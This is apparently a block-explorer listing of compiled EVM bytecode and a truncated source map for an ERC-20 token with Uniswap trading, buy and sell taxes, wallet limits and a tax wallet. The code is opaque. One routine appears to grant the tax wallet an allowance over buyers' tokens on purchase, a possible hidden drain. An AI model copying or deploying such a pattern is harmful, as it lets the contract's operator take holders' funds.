33845290915290205491906111ee565b610af0565b5060019392505050565b5f546001600160a01b0316331461051b5760405162461bcd60e51b815260040161044c9061182d565b6105276009600a611808565b610536906461f313f880611816565b600e556105456009600a611808565b610554906461f313f880611816565b600f55600d80546001600160a01b0319166001600160a01b0383169081179091555f908152600c60205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105ba6009600a611808565b6105c9906461f313f880611816565b60405190815260200160405180910390a150565b5f546001600160a01b031633146106065760405162461bcd60e51b815260040161044c9061182d565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106509030906106416009600a611808565b6104e3906461f313f880611816565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106c49190611862565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610723573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107479190611862565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610791573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107b59190611862565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146108005760405162461bcd60e51b815260040161044c9061182d565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146108715760405162461bcd60e51b815260040161044c9061182d565b601354600160a01b900460ff16156108cb5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161044c565b6013546001600160a01b031663f305d71947306108fc816001600160a01b03165f908152600a602052604090205490565b5f8061090f5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610975573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061099a919061187d565b505060125460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109ef573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a1391906118a8565b506013805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610a565760405162461bcd60e51b815260040161044c9061182d565b60405133904780156108fc02915f818181858888f19350505050158015610a7f573d5f803e3d5ffd5b50565b5f610460338484610c13565b5f546001600160a01b03163314610ab75760405162461bcd60e51b815260040161044c9061182d565b600d80546001600160a01b039092166001600160a01b0319909216821790555f908152600c60205260409020805460ff19166001179055565b6001600160a01b038316610b525760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044c565b6001600160a01b038216610bb35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044c565b6001600160a01b038381165f818152600b602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c775760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044c565b6001600160a01b038216610cd95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044c565b5f8111610d3a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044c565b6013545f908190600160b01b900460ff161580610d605750601354600160a81b900460ff165b15610e19576001600160a01b0385165f908152600a6020526040902054610d889084906118c7565b6001600160a01b038087165f908152600a60205260408082209390935590861681522054610db79084906118da565b6001600160a01b038086165f818152600a602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e0a9087815260200190565b60405180910390a35050505050565b5f546001600160a01b03868116911614801590610e4357505f546001600160a01b03858116911614155b156110a25760095415610e5557506008545b6012546001600160a01b038681169116148015610e8057506013546001600160a01b03858116911614155b8015610ea457506001600160a01b0384165f908152600c602052604090205460ff16155b15610fa357600e54831115610efb5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d6178416d6f756e7446462e00000000000000604482015260640161044c565b600f5483610f1d866001600160a01b03165f908152600a602052604090205490565b610f2791906118da565b1115610f755760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161044c565b60055460095411610f8857600154610f8c565b6003545b600980549192505f610f9d836118ed565b91905055505b6012546001600160a01b038581169116148015610fc957506001600160a01b0385163014155b1561101157604080518082019091526001600160a01b038086168252600d54166020820152610ff790611226565b6006546009541161100a5760025461100e565b6004545b90505b305f908152600a6020526040902054601354600160a81b900460ff1615801561104757506012546001600160a01b038681169116145b801561105c5750601354600160b01b900460ff165b156110a057601054811180156110755750600754600954115b15611097576110976110928561108d846011546112ae565b6112ae565b6112c5565b6110a047611435565b505b8015611132576110bd60646110b78584611470565b906114ee565b305f908152600a60205260409020549092506110d9908361152f565b305f818152600a6020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111299086815260200190565b60405180910390a35b6001600160a01b0385165f908152600a6020526040902054611154908461158d565b6001600160a01b0386165f908152600a6020526040902055611197611179848461158d565b6001600160a01b0386165f908152600a60205260409020549061152f565b6001600160a01b038086165f818152600a602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111e0868661158d565b604051908152602001610e0a565b5f81848411156112115760405162461bcd60e51b815260040161044c91906115fa565b505f61121d84866118c7565b95945050505050565b80516020820151600e545f9061126090600a90611244906064611816565b61124f9060646118da565b61125a9060646118da565b90611470565b61126b9060646118da565b905061127d600a61125a8360966118da565b6001600160a01b039384165f908152600b602090815260408083209590961682529390935292909120919091555050565b5f8183116112bc57826112be565b815b9392505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061130b5761130b611905565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611362573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113869190611862565b8160018151811061139957611399611905565b6001600160a01b0392831660209182029290920101526013546113bf9130911684610af0565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f79085905f90869030904290600401611919565b5f604051808303815f87803b15801561140e575f80fd5b505af1158015611420573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b600d546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561146c573d5f803e3d5ffd5b5050565b5f825f0361147f57505f610464565b5f61148a8385611816565b905082611497858361198a565b146112be5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044c565b5f6112be83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115ce565b5f8061153b83856118da565b9050838110156112be5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044c565b5f6112be83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ee565b5f81836115ee5760405162461bcd60e51b815260040161044c91906115fa565b505f61121d848661198a565b5f602080835283518060208501525f5b818110156116265785810183015185820160400152820161160a565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a7f575f80fd5b5f806040838503121561166b575f80fd5b823561167681611646565b946020939093013593505050565b5f805f60608486031215611696575f80fd5b83356116a181611646565b925060208401356116b181611646565b929592945050506040919091013590565b5f602082840312156116d2575f80fd5b81356112be81611646565b5f80604083850312156116ee575f80fd5b82356116f981611646565b9150602083013561170981611646565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561176257815f190482111561174857611748611714565b8085161561175557918102915b93841c939080029061172d565b509250929050565b5f8261177857506001610464565b8161178457505f610464565b816001811461179a57600281146117a4576117c0565b6001915050610464565b60ff8411156117b5576117b5611714565b50506001821b610464565b5060208310610133831016604e8410600b84101617156117e3575081810a610464565b6117ed8383611728565b805f190482111561180057611800611714565b029392505050565b5f6112be60ff84168361176a565b808202811582820484141761046457610464611714565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611872575f80fd5b81516112be81611646565b5f805f6060848603121561188f575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156118b8575f80fd5b815180151581146112be575f80fd5b8181038181111561046457610464611714565b8082018082111561046457610464611714565b5f600182016118fe576118fe611714565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119695784516001600160a01b031683529383019391830191600101611944565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826119a457634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209f4a9f21b763fc681503d0b8aa9e73ee23f8e873c493cd2ce92dece47fc6933964736f6c63430008180033

Deployed Bytecode Sourcemap

3602:8408:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5812:83;;;;;;;;;;-1:-1:-1;5882:5:0;;;;;;;;;;;;-1:-1:-1;;;5882:5:0;;;;5812:83;;;;;;;:::i;:::-;;;;;;;;6637:307;;;;;;;;;;-1:-1:-1;6637:307:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6637:307:0;1023:187:1;4578:49:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4578:49:0;1215:177:1;6083:97:0;;;;;;;;;;;;;:::i;6950:315::-;;;;;;;;;;-1:-1:-1;6950:315:0;;;;;:::i;:::-;;:::i;11242:256::-;;;;;;;;;;-1:-1:-1;11242:256:0;;;;;:::i;:::-;;:::i;:::-;;4522:49;;;;;;;;;;;;;;;;5994:83;;;;;;;;;;-1:-1:-1;5994:83:0;;4325:1;2260:36:1;;2248:2;2233:18;5994:83:0;2118:184:1;5436:370:0;;;;;;;;;;;;;:::i;4689:47::-;;;;;;;;;;;;;;;;6186:121;;;;;;;;;;-1:-1:-1;6186:121:0;;;;;:::i;:::-;-1:-1:-1;;;;;6279:20:0;6252:7;6279:20;;;:11;:20;;;;;;;6186:121;3447:148;;;;;;;;;;;;;:::i;7614:474::-;;;;;;;;;;;;;:::i;3233:79::-;;;;;;;;;;-1:-1:-1;3271:7:0;3298:6;3233:79;;-1:-1:-1;;;;;3298:6:0;;;2705:51:1;;2693:2;2678:18;3233:79:0;2559:203:1;5901:87:0;;;;;;;;;;-1:-1:-1;5973:7:0;;;;;;;;;;;;-1:-1:-1;;;5973:7:0;;;;5901:87;;11801:111;;;;;;;;;;;;;:::i;6313:167::-;;;;;;;;;;-1:-1:-1;6313:167:0;;;;;:::i;:::-;;:::i;6486:145::-;;;;;;;;;;-1:-1:-1;6486:145:0;;;;;:::i;:::-;-1:-1:-1;;;;;6594:20:0;;;6567:7;6594:20;;;:13;:20;;;;;;;;:29;;;;;;;;;;;;;6486:145;4634:48;;;;;;;;;;;;;;;;11539:150;;;;;;;;;;-1:-1:-1;11539:150:0;;;;;:::i;:::-;;:::i;6637:307::-;6712:4;8294:42;-1:-1:-1;;;;;8356:35:0;;;6782:82;;;;-1:-1:-1;;;6782:82:0;;3362:2:1;6782:82:0;;;3344:21:1;3401:2;3381:18;;;3374:30;3440:34;3420:18;;;3413:62;-1:-1:-1;;;3491:18:1;;;3484:46;3547:19;;6782:82:0;;;;;;;;;6875:39;991:10;6898:7;6907:6;6875:8;:39::i;:::-;-1:-1:-1;6932:4:0;6637:307;;;;;:::o;6083:97::-;6136:7;4385:13;4325:1;4385:2;:13;:::i;:::-;4370:28;;:12;:28;:::i;:::-;6156:16;;6083:97;:::o;6950:315::-;7048:4;7065:36;7075:6;7083:9;7094:6;7065:9;:36::i;:::-;7112:123;7121:6;991:10;7143:91;7183:6;7143:91;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7143:21:0;;;;;;:13;:21;;;;;;;;991:10;7143:35;;;;;;;;;;:39;:91::i;:::-;7112:8;:123::i;:::-;-1:-1:-1;7253:4:0;6950:315;;;;;:::o;11242:256::-;3360:6;;-1:-1:-1;;;;;3360:6:0;991:10;3360:22;3352:67;;;;-1:-1:-1;;;3352:67:0;;;;;;;:::i;:::-;4385:13:::1;4325:1;4385:2;:13;:::i;:::-;4370:28;::::0;:12:::1;:28;:::i;:::-;11317:12;:24:::0;4385:13:::1;4325:1;4385:2;:13;:::i;:::-;4370:28;::::0;:12:::1;:28;:::i;:::-;11352:12;:22:::0;11385:10:::1;:18:::0;;-1:-1:-1;;;;;;11385:18:0::1;-1:-1:-1::0;;;;;11385:18:0;::::1;::::0;;::::1;::::0;;;-1:-1:-1;11414:24:0;;;:17:::1;:24;::::0;;;;:31;;-1:-1:-1;;11414:31:0::1;-1:-1:-1::0;11414:31:0::1;::::0;;11461:29:::1;4385:13;4325:1;4385:2;:13;:::i;:::-;4370:28;::::0;:12:::1;:28;:::i;:::-;11461:29;::::0;1361:25:1;;;1349:2;1334:18;11461:29:0::1;;;;;;;11242:256:::0;:::o;5436:370::-;3360:6;;-1:-1:-1;;;;;3360:6:0;991:10;3360:22;3352:67;;;;-1:-1:-1;;;3352:67:0;;;;;;;:::i;:::-;5484:11:::1;:100:::0;;-1:-1:-1;;;;;;5484:100:0::1;5531:42;5484:100:::0;;::::1;::::0;;;5595:56:::1;::::0;5612:4:::1;::::0;4385:13:::1;4325:1;4385:2;:13;:::i;:::-;4370:28;::::0;:12:::1;:28;:::i;5595:56::-;5692:11;;;;;;;;;-1:-1:-1::0;;;;;5692:11:0::1;-1:-1:-1::0;;;;;5692:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5674:51:0::1;;5748:4;5768:11;;;;;;;;;-1:-1:-1::0;;;;;5768:11:0::1;-1:-1:-1::0;;;;;5768:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5674:123;::::0;-1:-1:-1;;;;;;5674:123:0::1;::::0;;;;;;-1:-1:-1;;;;;6106:15:1;;;5674:123:0::1;::::0;::::1;6088:34:1::0;6158:15;;6138:18;;;6131:43;6023:18;;5674:123:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5662:9;:135:::0;;-1:-1:-1;;;;;;5662:135:0::1;-1:-1:-1::0;;;;;5662:135:0;;;::::1;::::0;;;::::1;::::0;;5436:370::o;3447:148::-;3360:6;;-1:-1:-1;;;;;3360:6:0;991:10;3360:22;3352:67;;;;-1:-1:-1;;;3352:67:0;;;;;;;:::i;:::-;3554:1:::1;3538:6:::0;;3517:40:::1;::::0;-1:-1:-1;;;;;3538:6:0;;::::1;::::0;3517:40:::1;::::0;3554:1;;3517:40:::1;3585:1;3568:19:::0;;-1:-1:-1;;;;;;3568:19:0::1;::::0;;3447:148::o;7614:474::-;3360:6;;-1:-1:-1;;;;;3360:6:0;991:10;3360:22;3352:67;;;;-1:-1:-1;;;3352:67:0;;;;;;;:::i;:::-;7678:11:::1;::::0;-1:-1:-1;;;7678:11:0;::::1;;;7677:12;7669:48;;;::::0;-1:-1:-1;;;7669:48:0;;6387:2:1;7669:48:0::1;::::0;::::1;6369:21:1::0;6426:2;6406:18;;;6399:30;6465:25;6445:18;;;6438:53;6508:18;;7669:48:0::1;6185:347:1::0;7669:48:0::1;7728:11;::::0;-1:-1:-1;;;;;7728:11:0::1;:27;7763:21;7808:4;7828:24;7808:4:::0;-1:-1:-1;;;;;6279:20:0;6252:7;6279:20;;;:11;:20;;;;;;;6186:121;7828:24:::1;7867:1;7883::::0;7899:7:::1;3271::::0;3298:6;-1:-1:-1;;;;;3298:6:0;;3233:79;7899:7:::1;7728:219;::::0;::::1;::::0;;;-1:-1:-1;;;;;;7728:219:0;;;-1:-1:-1;;;;;6896:15:1;;;7728:219:0::1;::::0;::::1;6878:34:1::0;6928:18;;;6921:34;;;;6971:18;;;6964:34;;;;7014:18;;;7007:34;7078:15;;;7057:19;;;7050:44;7921:15:0::1;7110:19:1::0;;;7103:35;6812:19;;7728:219:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;7965:9:0::1;::::0;7992:11:::1;::::0;7958:63:::1;::::0;-1:-1:-1;;;7958:63:0;;-1:-1:-1;;;;;7992:11:0;;::::1;7958:63;::::0;::::1;7634:51:1::0;-1:-1:-1;;7701:18:1;;;7694:34;7965:9:0;::::1;::::0;-1:-1:-1;7958:25:0::1;::::0;7607:18:1;;7958:63:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;8032:11:0::1;:18:::0;;-1:-1:-1;;;;8062:18:0;-1:-1:-1;;;8062:18:0;;;7614:474::o;11801:111::-;3360:6;;-1:-1:-1;;;;;3360:6:0;991:10;3360:22;3352:67;;;;-1:-1:-1;;;3352:67:0;;;;;;;:::i;:::-;11853:51:::1;::::0;11861:10:::1;::::0;11882:21:::1;11853:51:::0;::::1;;;::::0;::::1;::::0;;;11882:21;11861:10;11853:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11801:111::o:0;6313:167::-;6391:4;6408:42;991:10;6432:9;6443:6;6408:9;:42::i;11539:150::-;3360:6;;-1:-1:-1;;;;;3360:6:0;991:10;3360:22;3352:67;;;;-1:-1:-1;;;3352:67:0;;;;;;;:::i;:::-;11615:10:::1;:21:::0;;-1:-1:-1;;;;;11615:21:0;;::::1;-1:-1:-1::0;;;;;;11615:21:0;;::::1;::::0;::::1;::::0;;:10:::1;11647:27:::0;;;:17:::1;:27;::::0;;;;:34;;-1:-1:-1;;11647:34:0::1;11615:21:::0;11647:34:::1;::::0;;11539:150::o;7271:337::-;-1:-1:-1;;;;;7364:19:0;;7356:68;;;;-1:-1:-1;;;7356:68:0;;8223:2:1;7356:68:0;;;8205:21:1;8262:2;8242:18;;;8235:30;8301:34;8281:18;;;8274:62;-1:-1:-1;;;8352:18:1;;;8345:34;8396:19;;7356:68:0;8021:400:1;7356:68:0;-1:-1:-1;;;;;7443:21:0;;7435:68;;;;-1:-1:-1;;;7435:68:0;;8628:2:1;7435:68:0;;;8610:21:1;8667:2;8647:18;;;8640:30;8706:34;8686:18;;;8679:62;-1:-1:-1;;;8757:18:1;;;8750:32;8799:19;;7435:68:0;8426:398:1;7435:68:0;-1:-1:-1;;;;;7514:20:0;;;;;;;:13;:20;;;;;;;;:29;;;;;;;;;;;;;:38;;;7568:32;;1361:25:1;;;7568:32:0;;1334:18:1;7568:32:0;;;;;;;7271:337;;;:::o;8406:2116::-;-1:-1:-1;;;;;8496:18:0;;8488:68;;;;-1:-1:-1;;;8488:68:0;;9031:2:1;8488:68:0;;;9013:21:1;9070:2;9050:18;;;9043:30;9109:34;9089:18;;;9082:62;-1:-1:-1;;;9160:18:1;;;9153:35;9205:19;;8488:68:0;8829:401:1;8488:68:0;-1:-1:-1;;;;;8575:16:0;;8567:64;;;;-1:-1:-1;;;8567:64:0;;9437:2:1;8567:64:0;;;9419:21:1;9476:2;9456:18;;;9449:30;9515:34;9495:18;;;9488:62;-1:-1:-1;;;9566:18:1;;;9559:33;9609:19;;8567:64:0;9235:399:1;8567:64:0;8661:1;8650:8;:12;8642:66;;;;-1:-1:-1;;;8642:66:0;;9841:2:1;8642:66:0;;;9823:21:1;9880:2;9860:18;;;9853:30;9919:34;9899:18;;;9892:62;-1:-1:-1;;;9970:18:1;;;9963:39;10019:19;;8642:66:0;9639:405:1;8642:66:0;8767:11;;8719:13;;;;-1:-1:-1;;;8767:11:0;;;;8766:12;;:22;;-1:-1:-1;8782:6:0;;-1:-1:-1;;;8782:6:0;;;;8766:22;8762:231;;;-1:-1:-1;;;;;8825:17:0;;;;;;:11;:17;;;;;;:28;;8845:8;;8825:28;:::i;:::-;-1:-1:-1;;;;;8805:17:0;;;;;;;:11;:17;;;;;;:48;;;;8886:15;;;;;;;:26;;8904:8;;8886:26;:::i;:::-;-1:-1:-1;;;;;8868:15:0;;;;;;;:11;:15;;;;;;;:44;;;;8932:28;;;;;;;;;;8951:8;1361:25:1;;1349:2;1334:18;;1215:177;8932:28:0;;;;;;;;8975:7;;8406:2116;;;:::o;8762:231::-;3271:7;3298:6;-1:-1:-1;;;;;9007:15:0;;;3298:6;;9007:15;;;;:32;;-1:-1:-1;3271:7:0;3298:6;-1:-1:-1;;;;;9026:13:0;;;3298:6;;9026:13;;9007:32;9003:1104;;;9059:9;;:11;9056:71;;-1:-1:-1;9099:12:0;;9056:71;9153:9;;-1:-1:-1;;;;;9145:17:0;;;9153:9;;9145:17;:47;;;;-1:-1:-1;9180:11:0;;-1:-1:-1;;;;;9166:26:0;;;9180:11;;9166:26;;9145:47;:74;;;;-1:-1:-1;;;;;;9198:21:0;;;;;;:17;:21;;;;;;;;9196:23;9145:74;9141:391;;;9261:12;;9249:8;:24;;9241:62;;;;-1:-1:-1;;;9241:62:0;;10514:2:1;9241:62:0;;;10496:21:1;10553:2;10533:18;;;10526:30;10592:27;10572:18;;;10565:55;10637:18;;9241:62:0;10312:349:1;9241:62:0;9358:12;;9346:8;9330:13;9340:2;-1:-1:-1;;;;;6279:20:0;6252:7;6279:20;;;:11;:20;;;;;;;6186:121;9330:13;:24;;;;:::i;:::-;:40;;9322:79;;;;-1:-1:-1;;;9322:79:0;;10868:2:1;9322:79:0;;;10850:21:1;10907:2;10887:18;;;10880:30;10946:28;10926:18;;;10919:56;10992:18;;9322:79:0;10666:350:1;9322:79:0;9440:15;;9430:9;;:25;9429:55;;9470:14;;9429:55;;;9457:12;;9429:55;9505:9;:11;;9420:65;;-1:-1:-1;9505:9:0;:11;;;:::i;:::-;;;;;;9141:391;9555:9;;-1:-1:-1;;;;;9549:15:0;;;9555:9;;9549:15;:39;;;;-1:-1:-1;;;;;;9568:20:0;;9583:4;9568:20;;9549:39;9546:172;;;9609:24;;;;;;;;;-1:-1:-1;;;;;9609:24:0;;;;;9621:10;;;9609:24;;;;;;:6;:24::i;:::-;9654:16;;9644:9;;:26;9643:58;;9686:15;;9643:58;;;9672:13;;9643:58;9634:68;;9546:172;9781:4;9732:28;6279:20;;;:11;:20;;;;;;9807:6;;-1:-1:-1;;;9807:6:0;;;;9806:7;:26;;;;-1:-1:-1;9823:9:0;;-1:-1:-1;;;;;9817:15:0;;;9823:9;;9817:15;9806:26;:41;;;;-1:-1:-1;9836:11:0;;-1:-1:-1;;;9836:11:0;;;;9806:41;9802:294;;;9894:11;;9871:20;:34;:68;;;;;9921:18;;9909:9;;:30;9871:68;9868:161;;;9962:67;9972:56;9978:8;9988:39;9994:20;10016:10;;9988:5;:39::i;:::-;9972:5;:56::i;:::-;9962:9;:67::i;:::-;10048:32;10058:21;10048:9;:32::i;:::-;9041:1066;9003:1104;10128:9;;10125:208;;10159:28;10183:3;10159:19;:8;10172:5;10159:12;:19::i;:::-;:23;;:28::i;:::-;10249:4;10229:26;;;;:11;:26;;;;;;10153:34;;-1:-1:-1;10229:37:0;;10153:34;10229:30;:37::i;:::-;10222:4;10202:26;;;;:11;:26;;;;;;;:64;;;;10286:35;;-1:-1:-1;;;;;10286:35:0;;;;;;;10315:5;1361:25:1;;1349:2;1334:18;;1215:177;10286:35:0;;;;;;;;10125:208;-1:-1:-1;;;;;10361:17:0;;;;;;:11;:17;;;;;;:31;;10383:8;10361:21;:31::i;:::-;-1:-1:-1;;;;;10343:17:0;;;;;;:11;:17;;;;;:49;10419:40;10439:19;:8;10452:5;10439:12;:19::i;:::-;-1:-1:-1;;;;;10419:15:0;;;;;;:11;:15;;;;;;;:19;:40::i;:::-;-1:-1:-1;;;;;10403:15:0;;;;;;;:11;:15;;;;;:56;;;;10475:39;;;10494:19;:8;10507:5;10494:12;:19::i;:::-;10475:39;;1361:25:1;;;1349:2;1334:18;10475:39:0;1215:177:1;2127:190:0;2213:7;2249:12;2241:6;;;;2233:29;;;;-1:-1:-1;;;2233:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2273:9:0;2285:5;2289:1;2285;:5;:::i;:::-;2273:17;2127:190;-1:-1:-1;;;;;2127:190:0:o;10998:238::-;11070:6;;;11093;;;11136:12;;11056:13;;11127:34;;11158:2;;11132:16;;:3;:16;:::i;:::-;11128:20;;:3;:20;:::i;:::-;:24;;11149:3;11128:24;:::i;:::-;11127:30;;:34::i;:::-;:38;;11162:3;11127:38;:::i;:::-;11110:55;-1:-1:-1;11206:22:0;11225:2;11207:12;11110:55;11216:3;11207:12;:::i;11206:22::-;-1:-1:-1;;;;;11176:20:0;;;;;;;:13;:20;;;;;;;;:29;;;;;;;;;;;;;;:52;;;;-1:-1:-1;;10998:238:0:o;11695:100::-;11754:7;11781:1;11779;:3;11778:9;;11786:1;11778:9;;;11784:1;11778:9;11771:16;11695:100;-1:-1:-1;;;11695:100:0:o;10528:464::-;5048:6;:13;;-1:-1:-1;;;;5048:13:0;-1:-1:-1;;;5048:13:0;;;10623:16:::1;::::0;;10637:1:::1;10623:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10623:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10623:16:0::1;10599:40;;10668:4;10650;10655:1;10650:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10650:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10694:11:::1;::::0;:18:::1;::::0;;-1:-1:-1;;;10694:18:0;;;;:11;;;::::1;::::0;:16:::1;::::0;:18:::1;::::0;;::::1;::::0;10650:7;;10694:18;;;;;:11;:18:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10684:4;10689:1;10684:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10684:28:0;;::::1;:7;::::0;;::::1;::::0;;;;;:28;10755:11:::1;::::0;10723:58:::1;::::0;10740:4:::1;::::0;10755:11:::1;10769::::0;10723:8:::1;:58::i;:::-;10792:11;::::0;:192:::1;::::0;-1:-1:-1;;;10792:192:0;;-1:-1:-1;;;;;10792:11:0;;::::1;::::0;:62:::1;::::0;:192:::1;::::0;10869:11;;10792::::1;::::0;10911:4;;10938::::1;::::0;10958:15:::1;::::0;10792:192:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5084:6:0;:14;;-1:-1:-1;;;;5084:14:0;;;-1:-1:-1;;;;10528:464:0:o;11918:89::-;11972:10;;:27;;-1:-1:-1;;;;;11972:10:0;;;;:27;;;;;11992:6;;11972:10;:27;:10;:27;11992:6;11972:10;:27;;;;;;;;;;;;;;;;;;;;;11918:89;:::o;2325:246::-;2383:7;2407:1;2412;2407:6;2403:47;;-1:-1:-1;2437:1:0;2430:8;;2403:47;2460:9;2472:5;2476:1;2472;:5;:::i;:::-;2460:17;-1:-1:-1;2505:1:0;2496:5;2500:1;2460:17;2496:5;:::i;:::-;:10;2488:56;;;;-1:-1:-1;;;2488:56:0;;12834:2:1;2488:56:0;;;12816:21:1;12873:2;12853:18;;;12846:30;12912:34;12892:18;;;12885:62;-1:-1:-1;;;12963:18:1;;;12956:31;13004:19;;2488:56:0;12632:397:1;2579:132:0;2637:7;2664:39;2668:1;2671;2664:39;;;;;;;;;;;;;;;;;:3;:39::i;1796:179::-;1854:7;;1886:5;1890:1;1886;:5;:::i;:::-;1874:17;;1915:1;1910;:6;;1902:46;;;;-1:-1:-1;;;1902:46:0;;13236:2:1;1902:46:0;;;13218:21:1;13275:2;13255:18;;;13248:30;13314:29;13294:18;;;13287:57;13361:18;;1902:46:0;13034:351:1;1983:136:0;2041:7;2068:43;2072:1;2075;2068:43;;;;;;;;;;;;;;;;;:3;:43::i;2719:189::-;2805:7;2840:12;2833:5;2825:28;;;;-1:-1:-1;;;2825:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2864:9:0;2876:5;2880:1;2876;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;